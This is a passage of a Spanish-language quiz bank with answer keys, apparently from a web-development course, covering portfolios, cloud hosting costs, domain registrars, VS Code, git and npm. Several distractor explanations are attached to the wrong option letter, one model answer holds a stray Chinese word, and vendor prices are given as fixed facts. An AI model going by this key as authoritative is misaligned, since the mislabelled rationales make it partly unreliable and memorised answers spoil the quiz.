Por qué: El README.md es la CARTA DE PRESENTACIÓN de tu proyecto en GitHub. Un reclutador lo lee antes de mirar el código. Debe tener: nombre, descripción, tecnologías, demo en vivo, instrucciones para correrlo, contacto del autor. Es lo que diferencia un repo de 'ejercicio de clase' de uno 'digno de entrevista'.Detalle: El README.md es la CARTA DE PRESENTACIÓN de tu proyecto en GitHub. Un reclutador lo lee antes de mirar el código. Debe tener: nombre, descripción, tecnologías, demo en vivo, instrucciones para correrlo, contacto del autor. Es lo que diferencia un repo de 'ejercicio de clase' de uno 'digno de entrevista'. | a) No es opcional: es OBLIGATORIO en cualquier repo profesional. | c) No documenta funciones específicas (eso es JSDoc o archivos separados). -
Si tu portafolio NO pasa Lighthouse Accessibility 95+, ¿qué deberías hacer?
- a) Publicarlo igual, no importa.
- b) NO publicarlo hasta que pase. La accesibilidad es lo primero que un reclutador técnico revisa. ✓ correcta
- c) Borrar el proyecto y empezar de cero.
- d) Cambiar el navegador.
Por qué: Si tu portafolio NO pasa Lighthouse Accessibility 95+, NO lo publiques. Un desarrollador que no se preocupa por la accesibilidad en SU PROPIO portafolio da una imagen terrible en una entrevista. Es una de las primeras cosas que un reclutador técnico verifica.Detalle: Si tu portafolio NO pasa Lighthouse Accessibility 95+, NO lo publiques. Un desarrollador que no se preocupa por la accesibilidad en SU PROPIO portafolio da una imagen terrible en una entrevista. Es una de las primeras cosas que un reclutador técnico verifica. | a) Sí importa MUCHO: es la primera señal de calidad. | c) Cambiar de navegador no soluciona los problemas de accesibilidad. -
¿Cuál de estas plataformas NO es gratuita para desplegar un portafolio estático?
- a) GitHub Pages.
- b) Netlify.
- c) Vercel.
- d) Todas son gratuitas (con límites generosos). ✓ correcta
Por qué: GitHub Pages, Netlify, Vercel y Cloudflare Pages son todas gratuitas (con límites generosos) para sitios estáticos. Las 4 son excelentes opciones. La elección depende de tu familiaridad, no del precio.Detalle: GitHub Pages, Netlify, Vercel y Cloudflare Pages son todas gratuitas (con límites generosos) para sitios estáticos. Las 4 son excelentes opciones. La elección depende de tu familiaridad, no del precio. | a) GitHub Pages es gratuita para repos públicos. | b) Netlify tiene un plan gratuito generoso. | c) Vercel también es gratuita con límites generosos. -
¿Qué debería tener cada proyecto en tu portafolio?
- a) Solo el nombre y la descripción.
- b) Imagen, descripción, tecnologías usadas, enlace a GitHub o demo, y tu rol específico. ✓ correcta
- c) Solo el código fuente.
- d) El proceso completo paso a paso.
Por qué: Cada proyecto en tu portafolio debe tener: imagen destacada, descripción breve (qué hace, qué problema resuelve), tecnologías usadas (con iconos si es posible), enlace al código en GitHub y/o demo en vivo, y tu rol específico (qué hiciste tú vs el equipo). Esto da al reclutador toda la información para decidir si te quiere entrevistar.Detalle: Cada proyecto en tu portafolio debe tener: imagen destacada, descripción breve (qué hace, qué problema resuelve), tecnologías usadas (con iconos si es posible), enlace al código en GitHub y/o demo en vivo, y tu rol específico (qué hiciste tú vs el equipo). Esto da al reclutador toda la información para decidir si te quiere entrevistar. | a) Muy poco: el reclutador no sabe de qué se trata ni qué tecnologías usaste. | c) El proceso paso a paso es para blogs, no para portafolios. -
Según el checklist de este tema, ¿cuántas categorías de Lighthouse debes pasar con 95+?
- a) Solo Accessibility.
- b) Accessibility y Performance.
- c) Las 4: Accessibility, Best Practices, Performance, SEO. ✓ correcta
- d) Solo Performance.
Por qué: El estándar profesional es pasar 95+ en las 4 categorías de Lighthouse: Accessibility, Best Practices, Performance, y SEO. Las 4 son importantes: Accessibility (inclusión), Best Practices (código limpio), Performance (velocidad), SEO (visibilidad).Detalle: El estándar profesional es pasar 95+ en las 4 categorías de Lighthouse: Accessibility, Best Practices, Performance, y SEO. Las 4 son importantes: Accessibility (inclusión), Best Practices (código limpio), Performance (velocidad), SEO (visibilidad). | a) Accessibility es solo una de las 4. | b) Faltan 2 categorías importantes. -
Después de publicar tu portafolio, ¿qué deberías hacer?
- a) Olvidarte y nunca más tocarlo.
- b) Volver a revisarlo cada 3 meses y agregar mejoras. Iterar es clave. ✓ correcta
- c) Borrarlo si no te convence.
- d) Reescribirlo desde cero cada año.
Por qué: El portafolio no se hace una vez: se hace y se mejora cada 3 meses. Con cada proyecto nuevo, con cada tecnología que aprendas, tu portafolio debe reflejar tu crecimiento. ITERAR es la clave: nunca está 'terminado' del todo.Detalle: El portafolio no se hace una vez: se hace y se mejora cada 3 meses. Con cada proyecto nuevo, con cada tecnología que aprendas, tu portafolio debe reflejar tu crecimiento. ITERAR es la clave: nunca está 'terminado' del todo. | a) Debes seguir mejorándolo con tu crecimiento. | c) Reescribirlo desde cero es ineficiente; actualiza lo que tienes. -
El archivo DECISIONES.md documenta:
- a) Solo el nombre del proyecto.
- b) Las decisiones de diseño: secciones, paleta, tipografía, y POR QUÉ las tomaste. ✓ correcta
- c) Errores del proyecto.
- d) El código fuente completo.
Por qué: DECISIONES.md documenta las decisiones CLAVE de diseño y por qué las tomaste. Es un 'diario de bitácora' para tu yo del futuro: en 6 meses, cuando vuelvas a este código, entenderás por qué elegiste cada cosa. También demuestra pensamiento crítico a un reclutador.Detalle: DECISIONES.md documenta las decisiones CLAVE de diseño y por qué las tomaste. Es un 'diario de bitácora' para tu yo del futuro: en 6 meses, cuando vuelvas a este código, entenderás por qué elegiste cada cosa. También demuestra pensamiento crítico a un reclutador. | a) Es más que solo el nombre. | c) El código va en archivos .html, .css, .js, no en DECISIONES.md.
Preguntas abiertas (3)
-
Explica por qué es importante PLANIFICAR antes de escribir código, aunque sea un proyecto pequeño. Da 2 consecuencias concretas de NO planificar. (3 a 5 líneas).
Respuesta modelo: Planificar te obliga a DECIDIR antes de empezar: qué secciones, qué paleta, qué estructura. Sin planificar, las consecuencias son: (1) Rehacer trabajo: empiezas con una idea, a mitad de camino te das cuenta de que no encaja, y tienes que rehacer HTML y CSS. (2) Decisiones inconsistentes: agregas una sección con una paleta distinta a la inicial, y el sitio se ve 'amateur'. Planificar es barato (1-2 horas) y evita horas de retrabajo. Para un portafolio personal, donde el tiempo es limitado, planificar es aún MÁS importante que en un proyecto de empresa.
-
Explica por qué NO deberías usar React en el portafolio del Capítulo 1. ¿Cuándo SÍ sería apropiado? (3 a 5 líneas).
Respuesta modelo: React en el Capítulo 1 sería contraproducente: el reclutador senior prefiere ver que dominas HTML/CSS/JS vanilla antes de subir a abstracciones. Un portafolio en React mal estructurado demuestra que aprendiste un framework sin entender la base. SÍ sería apropiado en el Capítulo 3 (Frontend Moderno), cuando ya domines los fundamentos. La regla: si no puedes hacer un sitio decente en vanilla, no lo vas a hacer bien en React. La abstracción esconderá los problemas por un tiempo, pero aparecerán en cuanto algo no encaje con el modelo mental del framework.
-
Imagina que vas a una entrevista y el reclutador abre tu portafolio. ¿Qué 3 cosas debería ver en los primeros 10 segundos para pensar 'este candidato se preocupa por los detalles'? (3 a 5 líneas).
Respuesta modelo: En los primeros 10 segundos, el reclutador debería ver: (1) Tu NOMBRE y FOTO claramente visibles arriba (hero section). Sin esto, es anónimo. (2) Una propuesta de valor clara: 'Desarrollador FullStack especializado en [X]' o 'Construyo soluciones web para [tipo de clientes]'. No 'Hola, soy Juan y me gusta programar'. (3) Un proyecto destacado con imagen impactante y resultado concreto. Si el primer proyecto dice 'To-do list de Midudev' o 'siguiendo tutorial', perdiste. Si dice 'App de gestión para [cliente real] que redujo X tiempo', ganaste. Esas 3 señales de calidad en 10 segundos son la diferencia entre una entrevista y un 'no, gracias'.
Preguntas de opción múltiple (10)
-
¿Cuál es la diferencia entre hosting compartido, VPS, y cloud server?
- a) Son lo mismo con distinto precio.
- b) Compartido = recursos compartidos con otros sitios. VPS = máquina virtual con recursos garantizados. Cloud = máquina virtual que escala automáticamente según demanda. ✓ correcta
- c) VPS es más caro siempre.
- d) Cloud es solo para Netflix.
Por qué: Hosting compartido: tu sitio vive en un servidor con 100+ sitios más. Recursos no garantizados, barato, sin root. VPS: máquina virtual con CPU/RAM/disco garantizados, tienes root, control total. Cloud server (IaaS): similar al VPS pero con APIs para auto-escalar (agregar más instancias según demanda). Compartido es para blogs pequeños. VPS es el sweet spot junior. Cloud es para apps que escalan masivamente. Son categorías distintas con casos de uso distintos.Detalle: Hosting compartido: tu sitio vive en un servidor con 100+ sitios más. Recursos no garantizados, barato, sin root. VPS: máquina virtual con CPU/RAM/disco garantizados, tienes root, control total. Cloud server (IaaS): similar al VPS pero con APIs para auto-escalar (agregar más instancias según demanda). Compartido es para blogs pequeños. VPS es el sweet spot junior. Cloud es para apps que escalan masivamente. Son categorías distintas con casos de uso distintos. | a) No son lo mismo, tienen arquitecturas distintas. | c) Cloud es para cualquier escala, no solo Netflix. -
¿Por qué Cloudflare R2 es mejor que AWS S3 para servir imágenes en una web?
- a) Porque R2 es más rápido.
- b) Porque R2 NO cobra egress (tráfico de salida), que es donde S3 te puede cobrar $900/mes si sirves 10 TB. R2 cuesta $0.015/GB almacenado, sin sorpresas. ✓ correcta
- c) Porque S3 no funciona bien.
- d) Porque R2 es gratis.
Por qué: El 'cargo oculto' de S3 es el EGRESS (tráfico de salida). Almacenar 1 TB cuesta $23/mes. Pero descargar 1 TB cuesta $90. Si tu web sirve 10 TB de imágenes al mes, pagas $900 SOLO de egress. Cloudflare R2 cuesta $0.015/GB almacenado Y $0 de egress. Para una web que sirve imágenes/videos, R2 es 5-10x más barato. La diferencia: R2 se integra con la CDN global de Cloudflare, así que el 'egress' está incluido en el precio.Detalle: El 'cargo oculto' de S3 es el EGRESS (tráfico de salida). Almacenar 1 TB cuesta $23/mes. Pero descargar 1 TB cuesta $90. Si tu web sirve 10 TB de imágenes al mes, pagas $900 SOLO de egress. Cloudflare R2 cuesta $0.015/GB almacenado Y $0 de egress. Para una web que sirve imágenes/videos, R2 es 5-10x más barato. La diferencia: R2 se integra con la CDN global de Cloudflare, así que el 'egress' está incluido en el precio. | a) Velocidad similar. | c) R2 no es gratis, cuesta $0.015/GB. -
¿Cuál es el primer paso CRÍTICO al empezar con AWS para no recibir facturas sorpresa?
- a) Apagar todo al final del día.
- b) Configurar billing alerts (presupuestos) el día 1: 'avísame si gasto más de $5, $20, $50'. Es 2 minutos que te pueden ahorrar $10,000. ✓ correcta
- c) Usar solo free tier.
- d) No usar AWS.
Por qué: Configurar billing alerts es el paso #1 que TODO junior debe hacer. AWS te deja crear 'presupuestos' (Budgets) que te avisan por email cuando tu gasto llega a X cantidad. Configurar alert a $5, $20, $50 te da tiempo de reaccionar si algo se descontrola. Sin esto, puedes recibir una factura de $5,000 al final del mes. Es 2 minutos en la consola: Billing > Budgets > Create budget > Set amounts > Add email. Hazlo el día que creas tu cuenta, no después.Detalle: Configurar billing alerts es el paso #1 que TODO junior debe hacer. AWS te deja crear 'presupuestos' (Budgets) que te avisan por email cuando tu gasto llega a X cantidad. Configurar alert a $5, $20, $50 te da tiempo de reaccionar si algo se descontrola. Sin esto, puedes recibir una factura de $5,000 al final del mes. Es 2 minutos en la consola: Billing > Budgets > Create budget > Set amounts > Add email. Hazlo el día que creas tu cuenta, no después. | a) Apagar todo es impráctico. | c) AWS es útil, solo hay que configurar alertas. -
¿Cuándo SÍ necesitas un servidor GPU dedicado vs API de IA?
- a) Siempre, es más profesional.
- b) Cuando entrenas modelos propios, haces fine-tuning de LLMs, o generas imágenes/video a escala (>1000 requests/mes). Si solo llamas a OpenAI para chatbots, NO necesitas GPU propia. ✓ correcta
- c) Nunca, las APIs son peores.
- d) Solo si eres Google.
Por qué: Servidor GPU dedicado es para casos ESPECÍFICOS: entrenar modelos de ML desde cero, hacer fine-tuning de LLMs (como entrenar un LLaMA con tus datos), generar imágenes con Stable Diffusion a escala (>1000/mes), o simular físicas. Si solo haces chatbot con OpenAI API, NO necesitas GPU: la API ya usa GPU por ti ($0.01/1000 tokens vs $1.10/hora). La regla: si puedes usar API, úsala. Si el costo de API >$1000/mes O necesitas modelo custom, ahí evalúas GPU propia. El 95% de juniors NO necesitan GPU.Detalle: Servidor GPU dedicado es para casos ESPECÍFICOS: entrenar modelos de ML desde cero, hacer fine-tuning de LLMs (como entrenar un LLaMA con tus datos), generar imágenes con Stable Diffusion a escala (>1000/mes), o simular físicas. Si solo haces chatbot con OpenAI API, NO necesitas GPU: la API ya usa GPU por ti ($0.01/1000 tokens vs $1.10/hora). La regla: si puedes usar API, úsala. Si el costo de API >$1000/mes O necesitas modelo custom, ahí evalúas GPU propia. El 95% de juniors NO necesitan GPU. | a) No siempre, es caro. | c) No es exclusivo de Google. -
¿Por qué Cloudflare es mejor registrador de dominios que GoDaddy?
- a) Cloudflare es más nuevo.
- b) Cloudflare cobra precio de costo ($9.15/año .com) sin markup, incluye WHOIS privacy gratis, y es la red DNS más rápida del mundo. GoDaddy cobra más, con cupones agresivos, y upsells. ✓ correcta
- c) GoDaddy no funciona.
- d) Cloudflare es más bonito.
Por qué: Cloudflare vende dominios a precio de costo (sin markup), incluye WHOIS privacy gratis, ofrece DNS ultrarrápido (es la red DNS más rápida del mundo, maneja 20% del tráfico web), y no te bombardea con upsells. GoDaddy cobra $20+ el primer año con cupones falsos, $18 en renovación, $10/año por WHOIS privacy, y te empuja a comprar email, hosting, y más. La diferencia real: Cloudflare gana $0.10/dominio, GoDaddy gana $10+/dominio. La elección es clara: Cloudflare.Detalle: Cloudflare vende dominios a precio de costo (sin markup), incluye WHOIS privacy gratis, ofrece DNS ultrarrápido (es la red DNS más rápida del mundo, maneja 20% del tráfico web), y no te bombardea con upsells. GoDaddy cobra $20+ el primer año con cupones falsos, $18 en renovación, $10/año por WHOIS privacy, y te empuja a comprar email, hosting, y más. La diferencia real: Cloudflare gana $0.10/dominio, GoDaddy gana $10+/dominio. La elección es clara: Cloudflare. | a) La antigüedad no importa. | c) La estética no es lo importante. -
¿Qué es el 'egress' en cloud y por qué es peligroso?
- a) Un tipo de servidor.
- b) El TRÁFICO DE SALIDA de tu cloud a internet. AWS S3 cobra $0.09/GB. Si tu app sirve 10 TB de videos, pagas $900/mes SOLO de egress. Es la fuente #1 de facturas sorpresa. ✓ correcta
- c) Una marca de servidor.
- d) Un protocolo.
Por qué: Egress = tráfico de SALIDA de tu cloud hacia internet. Almacenar datos es barato, pero SERVIRLOS al usuario final es caro. AWS S3: $0.09/GB egress. Google Cloud: $0.12/GB. Azure: similar. Si tu app sirve 10 TB de videos/mes, son $900-$1,200 SOLO de egress. Por eso Cloudflare R2 ($0 egress) y Wasabi ($0 egress) son alternativas inteligentes para servir assets. La regla: calcula el egress de tu app ANTES de elegir proveedor. Si >1 TB/mes, NO uses S3 directo: usa R2 o un CDN.Detalle: Egress = tráfico de SALIDA de tu cloud hacia internet. Almacenar datos es barato, pero SERVIRLOS al usuario final es caro. AWS S3: $0.09/GB egress. Google Cloud: $0.12/GB. Azure: similar. Si tu app sirve 10 TB de videos/mes, son $900-$1,200 SOLO de egress. Por eso Cloudflare R2 ($0 egress) y Wasabi ($0 egress) son alternativas inteligentes para servir assets. La regla: calcula el egress de tu app ANTES de elegir proveedor. Si >1 TB/mes, NO uses S3 directo: usa R2 o un CDN. | a) No es un servidor. | c) No es un protocolo. -
¿Cuál es el SWEET SPOT (mejor relación costo/beneficio) para el primer proyecto backend de un junior?
- a) AWS EC2 con auto-scaling.
- b) VPS de $5-6/mes en DigitalOcean, Linode, Vultr, o Hetzner. Suficiente para una app real, control total, sin sorpresas en la factura. ✓ correcta
- c) Serverless en AWS Lambda.
- d) Servidor dedicado de $500/mes.
Por qué: El VPS de $5-6/mes es el SWEET SPOT del junior. Te da: (1) root access (control total). (2) 1-2 GB RAM (suficiente para Node/Python/PHP). (3) 25 GB SSD (suficiente para una app pequeña). (4) Tráfico razonable. (5) Costo predecible. Es el balance perfecto entre capacidad y costo. AWS EC2 es overkill y caro. Lambda es serverless (no tienes servidor persistente). Dedicado es innecesario. Empieza con VPS, escala cuando duela.Detalle: El VPS de $5-6/mes es el SWEET SPOT del junior. Te da: (1) root access (control total). (2) 1-2 GB RAM (suficiente para Node/Python/PHP). (3) 25 GB SSD (suficiente para una app pequeña). (4) Tráfico razonable. (5) Costo predecible. Es el balance perfecto entre capacidad y costo. AWS EC2 es overkill y caro. Lambda es serverless (no tienes servidor persistente). Dedicado es innecesario. Empieza con VPS, escala cuando duela. | a) EC2 es overkill y caro para aprender. | c) Dedicado es innecesario para junior. -
Si tu dominio fue comprado en GoDaddy, ¿qué deberías hacer?
- a) Quedarte ahí.
- b) Transferirlo a Cloudflare (toma 5-7 días, vale los $5-10 de cargo). Ahorras $10+/año y obtienes mejor DNS. Es un proceso de 1 hora. ✓ correcta
- c) Renunciar al dominio.
- d) Comprar otro dominio.
Por qué: Transferir de GoDaddy a Cloudflare toma 5-7 días y cuesta $5-10 (que se descuenta del primer año de renovación). El proceso: (1) Desbloquea el dominio en GoDaddy (Settings > Domain). (2) Obtén el código EPP (auth code). (3) En Cloudflare, 'Transfer Domain' > pega el código > paga. (4) Aprueba por email. (5) Espera 5-7 días. Después de transferir: $9.15/año en vez de $18/año, WHOIS privacy gratis, y DNS más rápido. Es la decisión financiera más fácil del año.Detalle: Transferir de GoDaddy a Cloudflare toma 5-7 días y cuesta $5-10 (que se descuenta del primer año de renovación). El proceso: (1) Desbloquea el dominio en GoDaddy (Settings > Domain). (2) Obtén el código EPP (auth code). (3) En Cloudflare, 'Transfer Domain' > pega el código > paga. (4) Aprueba por email. (5) Espera 5-7 días. Después de transferir: $9.15/año en vez de $18/año, WHOIS privacy gratis, y DNS más rápido. Es la decisión financiera más fácil del año. | a) Quedarse es perder dinero. | c) No hace falta comprar otro. -
¿Qué incluye un 'free tier' típico de cloud?
- a) Servidores infinitos gratis.
- b) Recursos LIMITADOS por 12 meses (AWS) o 90 días (GCP) o 30 días (Azure). Después pagas. Es para probar, no para producción seria. Servicios como Lambda, Cloud Functions, o DynamoDB tienen free tier PERMANENTE limitado. ✓ correcta
- c) Solo documentación.
- d) Nada, es marketing.
Por qué: El 'free tier' de los hyperscalers es LIMITADO: AWS da 12 meses de recursos básicos (1 EC2 micro, 5 GB S3, etc.), GCP da $300 de crédito por 90 días, Azure da $200 por 30 días. Después, pagas. Algunos servicios tienen free tier PERMANENTE pero muy limitado: AWS Lambda (1M requests/mes gratis), DynamoDB (25 GB gratis), Cloudflare Workers (100K requests/día). Es ideal para APRENDER y para proyectos pequeños, no para apps en producción. Cuando tu app crece, pagas. La transición debe ser gradual.Detalle: El 'free tier' de los hyperscalers es LIMITADO: AWS da 12 meses de recursos básicos (1 EC2 micro, 5 GB S3, etc.), GCP da $300 de crédito por 90 días, Azure da $200 por 30 días. Después, pagas. Algunos servicios tienen free tier PERMANENTE pero muy limitado: AWS Lambda (1M requests/mes gratis), DynamoDB (25 GB gratis), Cloudflare Workers (100K requests/día). Es ideal para APRENDER y para proyectos pequeños, no para apps en producción. Cuando tu app crece, pagas. La transición debe ser gradual. | a) No es infinito, es limitado. | c) Es real, solo es limitado. -
Si tu VPS de $6/mes muere de repente, ¿cuál es la PRIMERA acción?
- a) Llorar.
- b) No tener backup es la tragedia. Si tienes snapshot, restaura en 5 minutos. Si NO tienes backup, perdiste todo. La lección: SIEMPRE configura backups automáticos desde el día 1. ✓ correcta
- c) Esperar que vuelva solo.
- d) Cambiar de proveedor inmediatamente.
Por qué: Si tu VPS muere, hay 2 escenarios: (1) TENÍAS BACKUP: creas un nuevo droplet, restauras el snapshot, reconfiguras DNS, en 30 minutos estás de vuelta. (2) NO TENÍAS BACKUP: perdiste todo (código, DB, configs). Reconstruir desde cero puede tomar días. La regla: el día 1 de crear tu VPS, configura snapshots automáticos ($1-3/mes) y offsite backups (B2/S3, $0.50/mes). Es 10 minutos de setup que te salva la vida. La probabilidad de que un VPS muera es 100% en 3-5 años: es cuestión de cuándo, no de si.Detalle: Si tu VPS muere, hay 2 escenarios: (1) TENÍAS BACKUP: creas un nuevo droplet, restauras el snapshot, reconfiguras DNS, en 30 minutos estás de vuelta. (2) NO TENÍAS BACKUP: perdiste todo (código, DB, configs). Reconstruir desde cero puede tomar días. La regla: el día 1 de crear tu VPS, configura snapshots automáticos ($1-3/mes) y offsite backups (B2/S3, $0.50/mes). Es 10 minutos de setup que te salva la vida. La probabilidad de que un VPS muera es 100% en 3-5 años: es cuestión de cuándo, no de si. | a) No es la solución. | c) Cambiar no restaura datos.
Preguntas abiertas (3)
-
Tu startup tiene 100 usuarios activos y necesitas decidir proveedor cloud. Compara: DigitalOcean VPS vs Vercel serverless vs AWS EC2. Da 1 ventaja y 1 desventaja de cada uno. (3 a 5 líneas).
Respuesta modelo: DigitalOcean VPS ($6-12/mes): ventaja = simple, control total, costo predecible. Desventaja = tienes que administrar el servidor tú mismo (updates, security, scaling). Vercel serverless ($0-20/mes): ventaja = zero-config deploy, escala automático, SSL gratis. Desventaja = lock-in con Vercel, y puede ser caro a escala (cold starts, límites de funciones). AWS EC2 ($50-100/mes): ventaja = ecosistema maduro, escala infinita, certificaciones enterprise. Desventaja = complejo, costoso, requiere DevOps. Para 100 usuarios, DigitalOcean es el sweet spot. Para apps frontend + serverless, Vercel. Para enterprise, AWS. La decisión depende de tu equipo y presupuesto.
-
Tu app subió de 0 a 10,000 usuarios activos y la factura de S3 pasó de $20 a $1,200/mes. ¿Qué está pasando y cómo lo solucionas? (3 a 5 líneas).
Respuesta modelo: El problema es EGRESS. Almacenar 1 TB en S3 cuesta $23/mes, pero DESCARGAR 1 TB cuesta $90. Con 10,000 usuarios activos descargando imágenes/videos, puedes facilmente tener 10-15 TB de egress/mes = $900-1,350 SOLO de egress. La solución paso a paso: (1) Migra de S3 a Cloudflare R2 ($0 egress). (2) Si te quedas en S3, pon CloudFront (CDN) delante: cachea archivos cerca del usuario, reduce egress 80-90%. (3) Optimiza: imágenes WebP en vez de JPEG (30% menos tamaño), lazy loading (solo carga cuando el usuario ve), compresión gzip/brotli. (4) Para videos, considera YouTube/Vimeo (gratis) o Mux. La regla: calcula el egress ANTES de elegir proveedor; si >1 TB/mes, NO uses S3 directo.
-
Estás en una entrevista junior. Te preguntan: '¿dónde deployarías una app de blogging personal con 100 visitas/mes?'. ¿Qué respondes y por qué? (3 a 5 líneas).
Respuesta modelo: Para 100 visitas/mes, deployaría en Vercel (gratis) + dominio en Cloudflare ($9.15/año). Total: $9.15/año. ¿Por qué? (1) El blogging es 99% contenido estático (markdown/HTML), no necesita servidor dinámico. (2) Vercel sirve estáticos con CDN global = rápido en cualquier país, gratis. (3) Si después agrego un CMS dinámico (comentarios, search), upgrade a plan Pro de Vercel ($20/mes) o migro a un VPS de $6/mes. (4) NO usaría AWS: $0 mínimo pero la complejidad no se justifica para 100 visitas. La respuesta demuestra: conoces el ecosistema cloud, sabes权衡 trade-offs costo/complejidad, y empiezas pequeño. Es la mentalidad correcta para un junior.
Preguntas de opción múltiple (10)
-
¿Por qué se recomienda usar un servidor local (como Live Server) en lugar de abrir el archivo HTML con doble clic?
- a) Porque el archivo se ve más bonito servido por un servidor.
- b) Porque muchas APIs modernas (fetch, módulos ES6, service workers) no funcionan con file:// por seguridad del navegador. ✓ correcta
- c) Porque el navegador no abre archivos locales por defecto.
- d) Porque Live Server es la única forma de ejecutar JavaScript.
Por qué: El protocolo file:// tiene restricciones de seguridad: fetch a archivos locales, módulos ES6 y service workers no funcionan. Un servidor local (http://) simula el entorno real de producción.Detalle: El protocolo file:// tiene restricciones de seguridad: fetch a archivos locales, módulos ES6 y service workers no funcionan. Un servidor local (http://) simula el entorno real de producción. | a) El navegador renderiza igual con file:// o http://: lo que importa es la funcionalidad. | c) Live Server no es la única: también existen http-server, Vite, XAMPP, Python -m http.server. -
¿Para qué sirve la pestaña 'Console' de las DevTools del navegador?
- a) Para editar el código HTML en vivo.
- b) Para ver errores de JavaScript y ejecutar código rápido desde el navegador. ✓ correcta
- c) Para subir archivos al servidor de producción.
- d) Para instalar extensiones del navegador.
Por qué: La consola muestra mensajes de log, errores de JavaScript con su número de línea, y permite escribir y ejecutar JavaScript en vivo. Es la herramienta #1 de depuración.Detalle: La consola muestra mensajes de log, errores de JavaScript con su número de línea, y permite escribir y ejecutar JavaScript en vivo. Es la herramienta #1 de depuración. | a) Para editar HTML en vivo se usa la pestaña 'Elements', no 'Console'. | c) Las extensiones se instalan desde la Chrome Web Store, no desde DevTools. -
En Git, ¿cuál es la diferencia entre 'git add' y 'git commit'?
- a) No hay diferencia: ambos guardan cambios en el historial.
- b) 'git add' marca archivos para el próximo guardado; 'git commit' confirma y guarda esos cambios en el historial con un mensaje. ✓ correcta
- c) 'git add' sube los cambios a GitHub; 'git commit' los guarda en local.
- d) 'git commit' es para borrar archivos; 'git add' es para crearlos.
Por qué: Git tiene tres áreas: working directory, staging area y repository. git add pasa de working a staging; git commit pasa de staging a repository con un mensaje. Es un sistema de dos pasos para ser selectivo.Detalle: Git tiene tres áreas: working directory, staging area y repository. git add pasa de working a staging; git commit pasa de staging a repository con un mensaje. Es un sistema de dos pasos para ser selectivo. | a) Sí hay diferencia: add prepara, commit confirma. | c) Es al revés: add para crear/añadir, commit para confirmar. Ninguno borra. -
¿Qué hace el comando 'npm init -y'?
- a) Instala todas las dependencias de un proyecto de golpe.
- b) Crea un archivo package.json con la configuración por defecto del proyecto. ✓ correcta
- c) Inicializa un repositorio de Git en la carpeta actual.
- d) Convierte la carpeta en un servidor web local.
Por qué: npm init -y crea el archivo package.json automáticamente con valores por defecto. El flag -y acepta todas las preguntas. Sin este archivo, npm no sabe qué es tu proyecto ni qué dependencias tiene.Detalle: npm init -y crea el archivo package.json automáticamente con valores por defecto. El flag -y acepta todas las preguntas. Sin este archivo, npm no sabe qué es tu proyecto ni qué dependencias tiene. | a) Para instalar dependencias se usa npm install nombre-paquete, no npm init. | c) Para servir una carpeta se usa live-server, npx serve o Vite, no npm init. -
¿Por qué es importante personalizar VS Code (tema, tipografía, extensiones) el primer día?
- a) Porque es obligatorio para aprobar el curso.
- b) Porque vas a usarlo 8 horas al día durante años: un entorno incómodo se traduce en fatiga y errores. ✓ correcta
- c) Porque sin personalizarlo, VS Code no funciona correctamente.
- d) Porque el instructor te va a revisar la configuración.
Por qué: VS Code es tu oficina. Si el tema te lastima la vista o no tienes autocompletado, sufrirás 8 horas al día. 30 minutos de configuración se pagan solas en semanas de bienestar.Detalle: VS Code es tu oficina. Si el tema te lastima la vista o no tienes autocompletado, sufrirás 8 horas al día. 30 minutos de configuración se pagan solas en semanas de bienestar. | a) No es obligatorio; es una recomendación de bienestar y productividad. | c) El instructor no revisa la configuración; es asunto tuyo como profesional. -
¿Qué atajo de VS Code abre la Paleta de comandos?
- a) Ctrl + P
- b) Ctrl + Shift + P ✓ correcta
- c) F12
- d) Ctrl + S
Por qué: Ctrl+Shift+P abre la Paleta de Comandos, desde donde ejecutas cualquier acción escribiéndola. Ctrl+P solo abre el buscador de archivos.Detalle: Ctrl+Shift+P abre la Paleta de Comandos, desde donde ejecutas cualquier acción escribiéndola. Ctrl+P solo abre el buscador de archivos. | a) Ctrl+P abre el buscador rápido de archivos, no la Paleta de comandos. | c) Ctrl+S guarda el archivo, no abre ningún menú. -
¿Cuál es la diferencia entre `node --version` y `npm --version`?
- a) Son sinónimos: ambos verifican Node.
- b) El primero verifica Node; el segundo verifica npm (el gestor de paquetes). ✓ correcta
- c) El primero es para Linux, el segundo para Windows.
- d) El primero muestra la versión, el segundo no hace nada.
Por qué: node --version muestra la versión del motor Node.js instalado. npm --version muestra la versión del gestor de paquetes npm (que viene con Node). Son herramientas diferentes.Detalle: node --version muestra la versión del motor Node.js instalado. npm --version muestra la versión del gestor de paquetes npm (que viene con Node). Son herramientas diferentes. | a) No son sinónimos: uno consulta el motor, el otro el gestor de paquetes. | c) Ambos muestran versión: lo que cambia es QUÉ versión muestran. -
¿Qué hace `git status`?
- a) Muestra el historial completo de commits.
- b) Muestra qué archivos han cambiado y no se han confirmado aún. ✓ correcta
- c) Sube los cambios al repositorio remoto en GitHub.
- d) Borra todos los cambios no guardados.
Por qué: git status te dice el estado de tu working directory: qué archivos están modificados, staged o sin tracking. Es el comando que más vas a usar al inicio de cada sesión.Detalle: git status te dice el estado de tu working directory: qué archivos están modificados, staged o sin tracking. Es el comando que más vas a usar al inicio de cada sesión. | a) El historial completo se ve con git log, no con git status. | c) git status no borra nada: solo muestra información. -
¿Por qué NO se debe usar `npm install -g` para instalar las dependencias de un proyecto?
- a) Porque está prohibido en el curso.
- b) Porque -g instala globalmente y las dependencias deben ser locales al proyecto (en package.json). ✓ correcta
- c) Porque -g es solo para usuarios administradores.
- d) En realidad sí se debe usar siempre.
Por qué: Las dependencias del proyecto deben estar en package.json para que otros desarrolladores (o el servidor) puedan instalar las mismas versiones. Con -g las dependencias varían según la máquina.Detalle: Las dependencias del proyecto deben estar en package.json para que otros desarrolladores (o el servidor) puedan instalar las mismas versiones. Con -g las dependencias varían según la máquina. | a) No está prohibido: solo no es la práctica correcta para dependencias del proyecto. | c) Para dependencias de proyecto se usa npm install (sin -g). -g solo es para herramientas CLI. -
¿Cuál es la mejor manera de abrir un archivo HTML durante el desarrollo?
- a) Doble clic en el explorador de archivos.
- b) Con un servidor local (Live Server, http-server, Vite) accediendo por http://. ✓ correcta
- c) Subirlo a GitHub Pages y abrirlo desde ahí.
- d) Con Word.
Por qué: Un servidor local simula el entorno real de producción. Muchas APIs (fetch, módulos ES6, service workers) NO funcionan con file://. Además, Live Server recarga la página al guardar cambios.Detalle: Un servidor local simula el entorno real de producción. Muchas APIs (fetch, módulos ES6, service workers) NO funcionan con file://. Además, Live Server recarga la página al guardar cambios. | a) Funciona solo para HTML estático básico. fetch, módulos ES6 y service workers fallan con file://. | c) Word no abre ni ejecuta HTML: es un procesador de texto.
Preguntas abiertas (3)
-
